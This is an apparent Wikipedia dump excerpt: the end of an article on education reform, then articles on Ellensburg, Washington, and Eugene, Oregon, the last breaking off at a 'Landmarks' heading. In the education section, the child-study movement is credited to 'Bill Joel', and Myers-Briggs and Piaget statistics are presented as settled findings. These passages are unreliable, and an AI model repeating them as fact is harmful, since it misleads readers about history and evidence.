Ironically, Lancaster lived on the charity of friends in his later life.

== Progressive reforms in Europe and America ==

The term ''progressive'' in education has been used somewhat indiscriminately; there are a number of kinds of [[educational progressivism]], most of the historically significant kinds peaking in the period between the late 19th and the middle of the 20th centuries.

=== Child-study ===

[[Jean-Jacques Rousseau]] has been called the father of the child-study movement. It has been said that Rousseau &quot;discovered&quot; the child (as an object of study). 

Rousseau's principle work on education is ''[[Emile: Or, On Education]]'', in which he lays out an educational program for a hypothetical newborn's education to adulthood. Rousseau provided a dual critique of both the vision of education set forth in [[Plato's Republic]] and also of the society of his contemporary Europe and the educational methods he regarded as contributing to it; he held that a person can either be a man or a citizen, and that while Plato's plan could have brought the latter at the expense of the former, contemporary education failed at both tasks. He advocated a radical withdrawal of the child from society and an educational process that utilized the natural potential of the child and its curiosity, teaching it by confronting it with simulated real-life obstacles and conditioning it by experience rather than teaching it intellectually. His ideas were rarely implemented directly, but were influential on later thinkers, particularly [[Johann Heinrich Pestalozzi]] and [[Friedrich Wilhelm August Fröbel]], the inventor of the [[kindergarten]].

=== Transcendentalist education ===

[[H. D. Thoreau]]'s &quot;[[Walden]]&quot; and reform essays in the mid-19th century were influential also (see the anthology &quot;Uncommon Learning: Henry David Thoreau on Education,&quot; Boston, 1999). For a look at [[transcendentalist]] life, read [[Louisa May Alcott]]'s &quot;Little Women.&quot; Her father, [[A. Bronson Alcott]], a close friend of Thoreau's, pioneered progressive education for young people as early as the 1830s. 

The transcendental education movement failed, because only the most gifted students ever equaled the skills of their classically-educated teachers. These students would, of course, succeed in any educational regime. Accounts seem to indicate that the students were happy, but often pursued [[classical education]] later in life.

=== National identity ===

Education is often seen in Europe as an important system to maintain national, cultural and linguistic unity. [[Prussia]] instituted primary school reforms expressly to teach a unified version of the national language, &quot;Hochdeutsch.&quot; One significant reform was [[kindergarten]], whose purpose was to have the children spend time in supervised activities in the national language, when the children were young enough that they could easily learn new language skills.

Since most modern schools copy the [[Prussia]]n models, children start school at an age when their language skills remain plastic, and they find it easy to learn the national language. This was an intentional design on the part of the Prussians.  

In the U.S. over the last twenty years, more than 70% of non-English-speaking school-age immigrants have arrived in the U.S. before they were 6 years old. At this age, they could have been taught English in school, and achieved a proficiency indistinguishable from a [[native speaker]]. In other countries, such as the [[Soviet union]], [[France]], [[Spain]], and [[Germany]] this approach has dramatically improved reading and math test scores for linguistic minorities.

=== Dewey ===

[[John Dewey]], a philosopher and educator, was heavily influential in American and international education, especially during the first four decades of the twentieth century. An important member of the American [[Pragmatism|Pragmatist]] movement, he carried the subordination of knowledge to action into the educational world by arguing for experiential education that would enable children to learn theory and practice simultaneously; a well-known example is the practice of teaching elementary physics and biology to students while preparing a meal. He was a harsh critic of &quot;dead&quot; knowledge disconnected from practical human life, foreshadowing [[Paulo Freire]]'s attack on the &quot;banking concept of education.&quot;

Dewey criticized the rigidity and volume of humanistic education, and the emotional idealizations of education based on the child-study movement that had been inspired by Bill Joel and those who followed him. He presented his educational theories as a synthesis of the two views. His slogan was that schools should encourage children to &quot;Learn by doing.&quot; He wanted people to realize that children are naturally active and curious. Dewey's understanding of logic is best presented in his &quot;Logic, the Theory of Inquiry&quot; (1938). His educational theories were presented in &quot;My Pedagogic Creed,&quot; &quot;The School and Society,&quot; &quot;The Child and Curriculum,&quot; and &quot;Democracy and Education&quot; (1916). 

The question of the history of Deweyan educational practice is a difficult one. He was an extremely popular and popularized thinker, but his views and suggestions were often misunderstood by those who sought to apply them, leading some historians to suggest that there was never an actual implementation on any considerable scale of Deweyan progressive education. The schools with which Dewey himself was most closely associated (though the most famous, the &quot;Laboratory School&quot;, was really run by his wife) had considerable ups and downs, and Dewey left the [[University of Chicago]] in 1904 over issues relating to the Dewey School.

Dewey's influence began to decline in the time after the [[World War II|Second World War]] and particularly in the [[Cold War]] era, as more conservative educational policies came to the fore. 

=== The administrative progressives ===

The form of educational progressivism which was most successful in having its policies implemented has been dubbed &quot;administrative progressivism&quot; by historians. This began to be implemented in the early 20th century.  While influenced particularly in its rhetoric by Dewey and even more by his popularizers, administrative progressivism was in its practice much more influenced by the [[industrial revolution]] and the concept [[economies of scale]].

The administrative progressives are responsible for many features of modern American education, especially American high schools: counseling programs, the move from many small local high schools to large centralized high schools, curricular differentiation in the form of electives and tracking, curricular, professional, and other forms of standardization, and an increase in state and federal regulation and bureaucracy, with a corresponding reduction of local control at the school board level. (Cf. &quot;State, federal, and local control of education in the United States&quot;, below) (Tyack and Cuban, pp. 17-26)

These reforms have since become heavily entrenched, and many today who identify themselves as progressives are opposed to many of them, while conservative education reform during the Cold War embraced them as a framework for strengthening traditional curriculum and standards.

=== Critiques of progressive and classical reforms ===

Many progressive reforms failed to transfer learned skills. Evidence suggests that higher-order thinking skills are unused by many people (cf. [[Jean Piaget]], [[Isabel Myers]], and [[Katherine Briggs]]). Some authorities say that this refutes key assumptions of progressive thinkers such as Dewey.

Jean Piaget was a Swiss psychologist who studied people's developmental stages. He showed by widely reproduced experiments that most young children do not analyze or synthesize as Dewey expected. Some authorities therefore say that Dewey's reforms do not apply to the primary education of young children.

Katherine Briggs and her daughter Isabel Myers developed a psychological test that reproducibly identifies sixteen distinct human temperaments, building on work by [[Jung]]. A wide class of temperaments (&quot;Sensors&quot;, half by category, 60% of the general population) prefer not to use non-concrete information such as theories or logical inference.

In terms of education, some authorities interpret this to mean that 60% of the general population only use, and therefore would prefer to learn answers to concrete &quot;Who, what, when, where,&quot; and &quot;how&quot; questions, rather than answers to the theoretical &quot;which&quot; and &quot;why&quot; questions advocated by progressives.

This information was confirmed (on another research track) by Jean Piaget, who discovered that nearly 60% of adults never habitually use what he called &quot;[[Formal Operational stage|formal operational reasoning]],&quot; a term for the development and use of theories and explicit logic.

If this criticism is true, then schools that teach only ''principles'' would fail to educate 60% of the general population.

The data from Piaget, Myers and Briggs can also be used to criticize classical teaching styles that ''never'' teach theory or principle.  In particular, a wide class of temperaments (&quot;Intuitives&quot;, half by category, 40% of the general population) prefer to reason from trusted first principles, and then apply that theory to predict concrete facts.

In terms of education, some authorities interpret this to mean that 40% of the general population prefer to use, and therefore want to learn, answers to theoretical &quot;Which and &quot;Why&quot; questions, rather than answers to the concrete &quot;Who, what, when, where&quot; and &quot;How&quot; questions.

The synthesis resulting from this two-part critique is a &quot;neoclassical&quot; learning theory similar to that practiced by [[Marva Collins]], in which both learning styles are accommodated. The classroom is filled with facts, that are organized with theories, providing a rich environment to feed children's natural preferences.  To reduce the limitations of depending only on natural preferences, all children are required to learn both important facts, and important forms of reasoning.

== Reforms of the civil rights era in the United States ==

From the 1950s to the 1970s, many of the proposed and implemented reforms in US education stemmed from the [[Civil Rights movement]] and related trends; examples include racial integration and busing, affirmative action, and banning of school prayer. (Tack and Cuban, p. 29)

==Reforms in the 1980s==

In the 1980's, some of the momentum of education reform moved from the left to the right, with the release of [[A Nation at Risk]], [[Ronald Reagan]]'s efforts to reduce or eliminate the [[United States Department of Education]]. In the latter half of the decade, [[E.D. Hirsch]] put forth an influential attack on one or more versions of progressive education, advocating an emphasis on &quot;cultural literacy&quot;--the facts, phrases, and texts that Hirsch asserted every American had once known and that now only some knew, but was still essential for decoding basic texts and maintaining communication. Hirsch's ideas remain significant through the 1990s and into the 21st century, and are incorporated into classroom practice through textbooks and curricula published under his own imprint.

== Motivations ==

Education reform has been pursued for a variety of specific reasons, but generally most reforms aim at redressing some societal ills, such as [[poverty]]-, [[gender]]-, or [[Social class|class]]-based inequities, or perceived ineffectiveness. Reforms are usually proposed by thinkers who aim to redress societal ills or institute societal changes, most often through a change in the education of the members of a class of people—the preparation of a ruling class to rule or a working class to work, the social hygiene of a lower or immigrant class, the preparation of citizens in a democracy or republic, etc. The idea that all children should be provided with a high level of education is a relatively recent idea, and has arisen largely in the context of Western [[democracy]] in the [[20th century]].

[[States]] have tried to use [[state school]]s to increase state power, especially to make better [[soldier]]s and workers. This strategy was first adopted to unify related linguistic groups in [[Europe]], such as [[Germany]] and [[Italy]]. Exact mechanisms are unclear, but it often fails in areas where populations are culturally segregated, as when the U.S. Indian school service failed to suppress [[Lakota]] and [[Navaho]], or when a culture has widely-respected autonomous cultural institutions, as when the [[Spanish]] failed to suppress [[Catalan]].

Many students of [[democracy]] have desired to improve education in order to improve the quality of governance in democratic societies; the necessity of good public education follows logically if one believes that:
# the quality of democratic governance depends on the ability of citizens to make informed, intelligent choices, and
# education can improve these abilities.

Politically-motivated educational reforms of the democratic type are recorded as far back as [[Plato]], whose book ''[[Plato's Republic|The Republic]]'' was essentially a thought experiment on education reform. In the [[United States of America]], this lineage of democratic education reform was continued by [[Thomas Jefferson]], who advocated ambitious reforms partly along Platonic lines for [[public education|public schooling]] in [[Virginia]].

Another motivation for reform is the desire to address socio-economic problems, which many people see as having significant roots in lack of education. Starting in the twentieth century, people have attempted to argue that small improvements in education can have large returns in such areas as [[health]], [[wealth]] and [[well-being]]. For example, in [[Kerala]], India in the 1950s, increases in women's health were correlated with increases in female literacy rates. In [[Iran]], increased primary education was correlated with increased farming efficiencies and income. In both cases some researchers have concluded these correlations as representing an underlying causal relationship: education causes socio-economic benefits. In the case of Iran, researchers concluded that the improvements were due to farmers gaining reliable access to national crop prices and scientific farming information.

== School choice ==

[[Libertarian]] theorists such as [[Milton Friedman]] advocate [[School choice]] to eliminate any need for formal accountability. Public educational vouchers would permit guardians to select and pay any school, public or private, with public funds. The theory is that children's guardians will shop for the best schools.

=== Charter schools ===

[[Charter schools]] also attempt to free administrators from regulations and local political entanglements to improve their administration. The [http://www.edreform.com/_upload/charter_school_laws.pdf Center for Educational Reform] says that charter schools with &quot;weak laws&quot; have more problems, because more established legal requirements for public schools are applied to them.

== Alternatives to public education ==

[[Homeschooling|Home education]] is favored by some parents who directly take responsibility for their children's education, eliminating accountability by public officials. For more information, see [[Homeschooling|home education]].

[[Montessori]] Pre- and Primary school programs employ alternative methods of guided exploration, embracing children's natural curiosity rather than scolding it for falling out of rank.

== Notable reforms ==
Some of the methods and reforms have gained permanent advocates, and are widely utilized.
  
Many educators now believe that anything that more precisely meets the needs of the child will work better. This was initiated by M. Montessori and is still utilized in Montessori schools.
    
The teaching method must be teachable! This is a lesson from both Montessori and Dewey. This view now has very wide currency, and is used to select much of the curricula of teachers' colleges.
    
Conservative programs are often based on [[classical education]], which is seen by conservatives to reliably teach valuable skills in a developmentally appropriate order to the majority of [[Myers-Briggs Type Indicator|Myers-Briggs]] temperaments, by teaching facts.  
    
Programs that test individual learning, and teach to mastery of a subject have been proven by the state of Kentucky to be far more effective than group instruction with compromise schedules, or even class-size reduction (see reference to KERA, below)
    
Schools with limited resources, such as most public schools and most third-world and missionary schools, use a grammar-school approach.  The evidence of Lancaster schools suggests using students as teachers. If the culture supports it, perhaps the economic discipline of the Lancaster school can reduce costs even further. However, much of the success of Lancaster's &quot;school economy&quot; was that the children were natives of an intensely mercantile culture.
    
In order to be effective, classroom instruction needs to change subjects at times near a typical student's attention span, which can be as frequently as every two minutes for young children. This is an important part of [[Marva Collins]]' method. 
    
The Myers-Briggs temperaments fall into four broad categories, each sufficiently different to justify completely different educational theories. Many developmental psychologists say that it might be socially profitable to test for and target temperaments with special curricula. 
    
Some of the Myers-Briggs temperaments are known to despise educational material that lacks theory. Therefore, effective curricula need to raise and answer &quot;which&quot; and &quot;why&quot; questions, to teach students with &quot;intuitive&quot; (Myers-Briggs) modalities.
    
Philosophers identify independent, [[logic|logical reasoning]] as a precondition to most western science, engineering, economic and political theory. Therefore, every educational program that desires to improve students' outcomes in political, health and economic behavior should include a Socratically-taught set of classes to teach logic and critical thinking. 

Substantial resources and time can be saved by permitting students to test out of classes. This also increases motivation, directs individual study, and reduces boredom and disciplinary problems.

To support inexpensive continuing adult education a community needs a free public library. It can start modestly as shelves in an attended shop or government building, with donated books. Attendants are essential to protect the books from vandalism. Adult education repays itself many times over by providing direct opportunity to adults. Free libraries are also powerful resources for schools and businesses.
    
New programs based on modern [[learning theory (education)|learning theories]] should be quantitatively investigated for effectiveness, as was done by KERA (see reference, below).

A notable reform of the education system of [http://www.libraryreference.org/edreform.html Massachusetts] occurred in 1997.  

The current '''[[student voice]]''' effort echoes past school reform initiatives focusing on [[parent involvement]], community involvement, and other forms of participation in schools. However, it is finding a significant amount of success in schools because of the inherent differences: [[student voice]] is central to the daily schooling experience because students spend all day there. Many educators today strive for meaningful student involvement in their classrooms, while school administrators, school board members, and elected officials each lurch to hear what students have to say.

See also [[educational philosophies]] and [[Sudbury Valley School]].

== Internationally ==

=== Taiwan ===

In other parts of the world, educational reform has had a number of different meanings.  In [[Taiwan]] in the 1990s and 2000s a movement tried to prioritize reasoning over mere facts, reduce the emphasis on central control and standardized testing.  There was consensus on the problems.  Efforts were limited because there was little consensus on the goals of educational reforms, and therefore on how to fix the problems. By 2003, the push for education reform had declined.

== See also == 
{{Alternative education}}

== Further reading ==

&quot;Marva Collins' Way&quot; by [[Marva Collins]]
See Laurie James, &quot;Outrageous Questions: Legacy of Bronson Alcott and America's One-Room Schools,&quot; New York, 1994.

== References ==

* Kliebard, Herbert. ''The Struggle for the American Curriculum''. New York : Routledge &amp; Kegan Paul, 1987
* Tyack, David, and Cuban, Larry. ''Tinkering Toward Utopia: a century of public school reform''. Cambridge, MA: Harvard University Press, 1995

== External links ==

* [http://www.publicforuminstitute.org/issues/education/index.htm Education Issues Page]
* [http://www.ericdigests.org/1999-3/reform.htm A Practical Look at Comprehensive School Reform for Rural Schools. ERIC Digest.]
* [http://www.ericdigests.org/2002-1/reform.html Implementing Whole-School Reform. ERIC Digest.]
* [http://www.ericdigests.org/1995-1/reform.htm Systemic Education Reform. ERIC Digest]
* [[KERA]] The Kentucky Education Reform Act
* [http://www.ed.gov/pubs/SumItUp/SumItUp.PDF Sum It Up] U.S. Govt. Case Studies of Non-U.S. Schools

[[Category:Alternative education]]
[[Category:Education issues]]
[[Category:Education reform]]
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  <page>
    <title>Ellensburg, Washington</title>
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      <text xml:space="preserve">'''Ellensburg''' is a city located in [[Kittitas County, Washington]].  As of the [[2000]] census, the city had a total population of 15,414.  Ellensburg is located just east of the [[Cascade Range]] on [[Interstate 90|I-90]]. Ellensburg is the home of [[Central Washington University]] (CWU). The surrounding Kittitas Valley is internationally known for the [[Timothy-grass|timothy]] [[hay]] that it produces. There are several local hay brokering and processing operations that ship to Pacific Rim countries. The old part of the town is fairly historic, with old brick buildings from the late [[19th century]]. [[Eastern Washington]] has a much drier climate and some Seattle-area residents visit the area to spend a weekend without rain after the sometimes dreary winters on the rainy western side of the Cascade Range; many former Puget Sounds residents have moved to the city and commute over Snoqualmie Pass on I-90 to jobs located in the Puget Sound region.

Ellensburg is the [[county seat]] of [[Kittitas County, Washington|Kittitas County]]{{GR|6}}.

A college town, Ellensburg is home to [[Central Washington University]].  Ellensburg is also a stop on the PRCA professional [[rodeo]] circuit.

==History==
Ellensburg was officially incorporated on [[November 26]], [[1883]]. 

== Geography ==
[[Image:WAMap-doton-Ellensburg.png|right|Location of Ellensburg, Washington]]Ellensburg is located at 46&amp;deg;59'49&quot; [[Latitude|North]], 120&amp;deg;32'42&quot; [[Longitude|West]] (46.997064, -120.545119){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 17.2 [[square kilometre|km&amp;sup2;]] (6.6 [[square mile|mi&amp;sup2;]]). 17.1 km&amp;sup2; (6.6 mi&amp;sup2;) of it is land and 0.1 km&amp;sup2; (0.1 mi&amp;sup2;) of it is water. The total area is 0.75% water.

== Demographics ==
[[Image:ellensburg.jpg|thumb|200px|right|Art house in Ellensburg, Washington]]
As of the [[census]]{{GR|2}} of [[2000]], there are 15,414 people, 6,249 households, and 2,649 families residing in the city.  The [[population density]] is 903.1/km&amp;sup2; (2,338.9/mi&amp;sup2;).  There are 6,732 housing units at an average density of 394.4/km&amp;sup2; (1,021.5/mi&amp;sup2;).  The racial makeup of the city is 88.07% [[White (U.S. Census)|White]], 1.17% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.95% [[Native American (U.S. Census)|Native American]], 4.09% [[Asian (U.S. Census)|Asian]], 0.16% [[Pacific Islander (U.S. Census)|Pacific Islander]], 2.86% from [[Race (U.S. Census)|other races]], and 2.69% from two or more races.  6.33% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 6,249 households out of which 20.8% have children under the age of 18 living with them, 31.4% are [[Marriage|married couples]] living together, 8.1% have a female householder with no husband present, and 57.6% are non-families. 35.5% of all households are made up of individuals and 9.1% have someone living alone who is 65 years of age or older.  The average household size is 2.12 and the average family size is 2.84.

In the city the population is spread out with 15.8% under the age of 18, 39.3% from 18 to 24, 22.7% from 25 to 44, 12.8% from 45 to 64, and 9.4% who are 65 years of age or older.  The median age is 24 years.  For every 100 females there are 95.0 males.  For every 100 females age 18 and over, there are 93.1 males.

The median income for a household in the city is $20,034, and the median income for a family is $37,625. Males have a median income of $31,022 versus $22,829 for females. The [[per capita income]] for the city is $13,662.  34.3% of the population and 18.8% of families are below the [[poverty line]].  Out of the total population, 29.0% of those under the age of 18 and 11.2% of those 65 and older are living below the poverty line.

== External links ==
*[http://www.ci.ellensburg.wa.us/ Ellensburg official website]
*[http://www.ellensburg-chamber.com/ Ellensburg Chamber of Commerce]
*[http://www.ellensburgrodeo.com/ Ellensburg Rodeo]
*[http://www.cwu.edu/ Central Washington University]
*[http://www.anderson-hay.com/ Anderson Hay &amp; Grain Co., Inc.]
{{Mapit-US-cityscale|46.997064|-120.545119}}

{{Washington}}

[[Category:Cities in Washington]]
[[Category:Kittitas County, Washington]]

[[de:Ellensburg]]
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  <page>
    <title>Eugene Oregon</title>
    <id>9622</id>
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      <text xml:space="preserve">#REDIRECT [[Eugene, Oregon]]
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  </page>
  <page>
    <title>Eugene, Oregon</title>
    <id>9623</id>
    <revision>
      <id>42019230</id>
      <timestamp>2006-03-03T06:42:10Z</timestamp>
      <contributor>
        <username>PDXblazers</username>
        <id>915752</id>
      </contributor>
      <comment>/* Sports */  Eugene's hockey team name changed</comment>
      <text xml:space="preserve">[[Image:Eugenebroadway.jpg|right|thumb|420px|''East Broadway at night, Downtown Eugene'']]
'''Eugene''' is the third  largest [[city]] [http://www.eugene-or.gov/portal/server.pt] and boasts the second largest [[metropolitan area|metropolitan population]] [http://www.world-gazetteer.com/wg.php?x=1119225167&amp;men=gcis&amp;lng=en&amp;gln=xx&amp;dat=32&amp;geo=-223&amp;srt=pnan&amp;col=aohdq&amp;pt=a&amp;va=x&amp;geo=-3793] in the state of [[Oregon]], and is also the [[county seat]] of [[Lane County, Oregon]], [[United States|USA]].  It is located at the south end of the [[Willamette Valley]], at the confluence of the [[McKenzie River]] and the [[Willamette River]], about 60 miles (97 km) east of the [[Oregon Coast]].

Eugene is home to the [[University of Oregon]].  The city is also noted for its natural beauty, activist political leanings, alternative lifestyles, recreation opportunities (especially [[bicycling]], [[rafting]], and [[kayaking]]), and arts focus. In fact, Eugene's motto is &quot;The World's Greatest City for the Arts and Outdoors&quot; and is also referred to as &quot;The Emerald City&quot; and &quot;The Track Capital of the World.&quot; The [[Nike, Inc.|Nike]] corporation had its beginnings in Eugene.

==History==
Eugene is named after its founder, [[Eugene Franklin Skinner]].  In [[1846]], Skinner erected the first cabin in the area. It was used as a [[trading post]] and was dubbed as a [[post office]] in [[1850]]. Skinner founded Eugene in [[1862]] and later ran a ferry service across the Willamette River where the Ferry Street Bridge now stands.

Preceding the institution of the [[University of Oregon]] was Columbia College, which was also founded around the same area the UofO resides in today.  That institute, however, fell victim to two different major fires over four years, and after being rebuilt twice already, it was decided to not be rebuilt again.  Commonly even today, people refer to parts of Eugene's campus area as &quot;College Hill,&quot; and this name does not come from the adjacent location of the University of Oregon, but rather the former location of Columbia College.  Columbia College preceded the University of Oregon by a few years.

The town raised the initial funding to start a public University, which later became the [[University of Oregon]], with the hope of turning the small town into a cultural center of learning. In 1872 the [[Oregon Legislative Assembly|Legislative Assembly]] passed a bill ratifying the University. Interestingly, the nearby town of Albany was Eugene's biggest competitor to provide a home for this institute. In 1873 community member J. H. D. Henderson donated the hilltop land for the campus, overlooking the city. The University first opened in 1876 with regents electing first faculty and naming John Wesley Johnson as president with the first students registering on [[16 October]] [[1876]]. It would not be until 1877, later known as  Deady Hall (for the first Board of Regents President and community leader Judge [[Matthew P. Deady]]) that the first building would be completed.  It is also to place specific emphasis on the fact that the University of Oregon has been a leader in diversity since its very beginning; the University of Oregon's first class included two Japanese students.

Eugene is the home of Oregon's largest publicly owned electric utility, the Eugene Water &amp; Electric Board, which got its start in the first decade of the last century after there was a typhoid epidemic traced to the groundwater supply. Eugene condemned the private utility and began treating river water (first the Willamette, but now the McKenzie) for domestic use. EWEB got into the electric business when power was needed for the water pumps and excess electricity was used for street lighting.

==Geography and Climate==
===Geography===
[[Image:ORMap-doton-Eugene.png|right|Location of Eugene, Oregon]]Eugene is located at 44&amp;deg;3'28&quot; North, 123&amp;deg;6'37&quot; West (44.057663, -123.110345) (see [[Geographic references]]) at an elevation of 426 feet.

According to the United States Census Bureau, the city has a total area of 105.0 km&amp;sup2; (40.6 mi&amp;sup2;){{GR|1}}. 104.9 km&amp;sup2; (40.5 mi&amp;sup2;) of it is land and 0.1 km&amp;sup2; (0.04 mi&amp;sup2; or 0.10%) of it is water.

To the north of downtown is [[Skinner Butte]] park. Forested [[Hendricks Park]] is famous for its Rhododendron Garden. [[Alton Baker Park]], along the Willamette river, attracts visitors to jog its running paths, bike its endless bike paths and bike bridges, swim the wild Willamette, canoe the millrace, sit at the duck ponds, and visit the Owens Rose Garden. A climb up Spencer Butte, south of the city, offers a lovely look at Eugene and the headwaters of the Willamette. [[Mount Pisgah Arboretum]], to the east, is another large and special park, and host to the annual mushroom festival.

Eugene has a striking urban forest. The town is packed with trees, and its citizens are very proud and protective of them. The [[University of Oregon]] campus is itself a world-class arboretum, with over 500 species of trees, and its own tourbook. The city operates and maintains scenic hiking trails that pass through and across the ridges of a cluster of small mountains in the southern portion of the city, on the fringe of residential neighborhoods. Some trails allow biking and others are for hikers only.

The [[Willamette River|Willamette]] and [[McKenzie River|McKenzie]] rivers run through Eugene and its sister city [[Springfield, Oregon|Springfield]].

===Climate===
Eugene's [[mean]] annual temperature is 52.1 &amp;deg;F (11.2 &amp;deg;C) [http://www.ncdc.noaa.gov/oa/climate/online/ccd/nrmavg.txt]; its annual rainfall is 50.9 inches (1293 mm) [http://www.ncdc.noaa.gov/oa/climate/online/ccd/nrmpcp.txt].  Interestingly, Eugene is actually colder on average than Portland, despite being located more than 160km (approx. 100 miles) south and having only a marginally higher elevation.  Eugene's average July low temperature is 10.6 &amp;deg;C (51.1 &amp;deg;F) [http://www.worldclimate.com/cgi-bin/data.pl?ref=N45W122+1304+356751C], while Portland's average July low is 13.6 &amp;deg;C (56.5 &amp;deg;F).  [http://www.worldclimate.com/cgi-bin/data.pl?ref=N45W122+1304+356751C].  Average winter temperatures (and summer high temperatures) are similar for the two cities.  This disparity may be largely caused by a &quot;heat island effect&quot; in Portland, where the combination of black pavement and urban energy use can actually raise the temperature.  A lesser heat island may also exist in downtown Eugene.

==Demographics==
Eugene has a significant population of people in pursuit of alternative ideas, and a strong aging hippie population. Eugene's trainyard and welcoming valley climate used to be the center of this.
There is also a significant population of outdoor enthusiasts and young retirees from California and elsewhere.

As of the [[census]]{{GR|2}} of [[2000]], there are 137,893 people, 58,110 households, and 31,321 families residing in the city. As of [[July 1]] [[2003]] the US Census Bureau estimated the population of Eugene to be 142,185.  The city's population is expected to further grow to 228,400 within the next 10 years. The [[population density]] is 1,313.9/km&amp;sup2; (3,403.2/mi&amp;sup2;). There are 61,444 housing units at an average density of 585.5/km&amp;sup2; (1,516.4/mi&amp;sup2;). The racial makeup of the city is 88.15% [[White (U.S. Census)|White]], 3.57% [[Asian]], 1.25% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.93% [[Native American (U.S. Census)|Native American]], 0.21% [[Pacific Islander (U.S. Census)|Pacific Islander]], 2.18% from [[Race (U.S. Census)|other races]], and 3.72% from two or more races. 4.96% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 58,110 households out of which 25.8% have children under the age of 18 living with them, 40.6% are [[Marriage|married couples]] living together, 9.7% have a female householder with no husband present, and 46.1% are non-families. 31.7% of all households are made up of individuals and 9.4% have someone living alone who is 65 years of age or older. The average household size is 2.27 and the average family size is 2.87. 

In the city the population is spread out with 20.3% under the age of 18, 17.3% from 18 to 24, 28.5% from 25 to 44, 21.8% from 45 to 64, and 12.1% who are 65 years of age or older. The median age is 33 years. For every 100 females there are 96.0 males. For every 100 females age 18 and over, there are 94.0 males. 

The median income for a household in the city is $35,850, and the median income for a family is $48,527. Males have a median income of $35,549 versus $26,721 for females. The [[per capita income]] for the city is $21,315. 17.1% of the population and 8.7% of families are below the [[poverty line]]. Out of the total population, 14.8% of those under the age of 18 and 7.1% of those 65 and older are living below the poverty line.

==Government and politics==
===Government===
In 1944 Eugene adopted a council-manager form of government, replacing the day-to-day management of city affairs by the part-time mayor and volunteer city council with a full-time professional city manager. The subsequent history of Eugene city government has largely been one of the dynamics--often contentious--between the city manager, the mayor and city council.

Nine people have held the city manager position. These include Deane Seeger (1945-49), Oren King (1949-53), Robert Finlayson (1953-59), Hugh McKinley (1959-75), Charles Henry (1975-80), Mike Gleason (1981-96), Vicki Elmer (1996-98), Jim Johnson (1998-2002), and Dennis Taylor (2002-present).

Recent mayors include Gus Keller (1977-84), Brian Obie (1985-88), Jeff Miller (1989-92), [[Ruth Bascom]] (1993-96), [[Jim Torrey]] (1997-2004), and [[Kitty Piercy]] (2005-present).

Recently, the liberal wing of local politics has been gaining strength, mostly on a reform platform calling for greater transparency and accountability in local government. The recent election of [[Kitty Piercy]] was widely considered to be a turning point, as previous mayoral administrations often did not reflect Eugene's progressive culture.

Eugene City Council:
*Mayor: Kitty Piercy
*Ward 1 - Bonny Bettman 
*Ward 2 - Betty Taylor 
*Ward 3 - David Kelly 
*Ward 4 - George Poling 
*Ward 5 - Gary Papé
*Ward 6 - Jennifer Solomon 
*Ward 7 - Andrea Ortiz 
*Ward 8 - Chris Pryor  

City Manager: Dennis M. Taylor
===Activism===
Activism plays a large role in Eugene's government and local identity. An epicenter of the hippy movement, Eugene is still noted as one of the most liberal cities in the United States.

Development is a controversial issue in Eugene, as in most growing cities.  Both pro- and anti-development organizations and companies are vocal, and most public and private projects are vigorously discussed in public meetings and the letters pages of the [[Register-Guard]] and the [[Eugene Weekly]]. Developers and builders habitually complain about the decreasing supply of buildable land within the regional Urban Growth Boundary, while environmental groups object to projects which result in reduced open space and wildlife habitat.

[[Transportation]] has always been an important issue in Eugene, dating back to the [[Freeway and expressway revolts|freeway revolts]] of the 1960s and 1970s that severely curtailed the construction of several freeways in Eugene, including [[Route 69 (Oregon)|Belt Line Road]] (which never actually was completed as a proposed beltway and now acts as a [[spur route]]). Current debate rages over the proposed [[West Eugene Parkway]].

[[Anarchists]] from Eugene were blamed for the [[vandalism]] that occurred during the riots at the [[WTO Ministerial Conference of 1999]] in [[Seattle, Washington]].

===Sister cities===
Eugene's sister cities include [[Kathmandu]], [[Nepal]]; [[Irkutsk]], [[Russia]]; [[Kakegawa]], [[Japan]]; and [[Chinju]], [[Korea]].

==Economy==
Eugene's largest industries are wood products manufacturing and recreational vehicle manufacturing. The largest employers are the [[University of Oregon]], local government, and [[Sacred Heart Hospital]].

Eugene currently has one of the highest unemployment rates for a city in the entire nation (6.4% as of July 2004. 257 out of 331 for all U.S. [[United States metropolitan area|MSAs]]). 

Eugene is the site for the corporate headquarters of employee-owned [[Bi-Mart]]. [[Monaco Coach Corporation]] has its headquarters in nearby [[Coburg, Oregon]]. Hynix Semiconductor America has a large semiconductor plant in west Eugene, producing [[DRAM]] (Dynamic Random Access Memory) for use in computers.

Like most municipalities, Eugene solicits outside business investment. But it is also partial to locally-developed small businesses, some of whom have formed a coalition called [http://www.uniqueeugene.com Unique Eugene].

Many businesses were launched in Eugene.  Some of the most famous include [[Nike, Inc.|Nike]], [[Taco Time]] and [[Broderbund Software]].

==Education==
Eugene is the home of the [[University of Oregon]], one of Oregon's largest schools. Other institutions of higher learning include  [[Northwest Christian College]], [[Lane Community College]], [[Eugene Bible College]] [http://www.ebc.edu], and [[Gutenberg College]], Pacific University: Eugene Campus, and Linfield College: Eugene Campus. Eugene has many private and alternative schools, including the [http://www.eugenewaldorf.org Eugene Waldorf School], a nondenominational school serving grades K-8 that is certified by the Association of Waldorf Schools of North America.

[[Magnet school|Magnet schools]] and alternative education are key elements of the Eugene Public Schools system.

==Culture==
Eugene is perhaps most noted for its &quot;community inventiveness.&quot;  This usually leads to community projects; many US trends in community development originated here. The University of Oregon's participatory planning process, known as '[[The Oregon Experiment]]', was the result of student protests in the early 1970's. The process, now in disuse, was famous in planning and architectural circles, and the book of the same name is a major document in modern enlightenment thinking. The plan and process was created, in Eugene, by [[Christopher Alexander]], whose works directly inspired the creation of the [[Wiki]]. Much of the research for the book ''[[A Pattern Language]]'', which inspired the [[Design Patterns]] movement and [[Extreme Programming]], was done by Alexander in Eugene. Not coincidentally, those engineering movements also had origins here. ''A Pattern Language'' is the best-selling book on architecture and planning of all time.

In the 1970's, Eugene was packed with co-operative and community projects. It still has small natural food stores in almost every neighborhood, and alternative schools have been part of the school district for years. The [http://www.eugenewaldorf.org Eugene Waldorf School]was founded in 1980 and serves grades K-8. And the old Grower's Market, downtown near the train depot, is the only food co-operative in the US with no employees. It is possible to see Eugene's trend-setting non-profit tendencies in much newer projects, such as the [[Tango Center]], and the [[Center for Appropriate Transport]] [http://www.catoregon.org/].

===Landmarks===
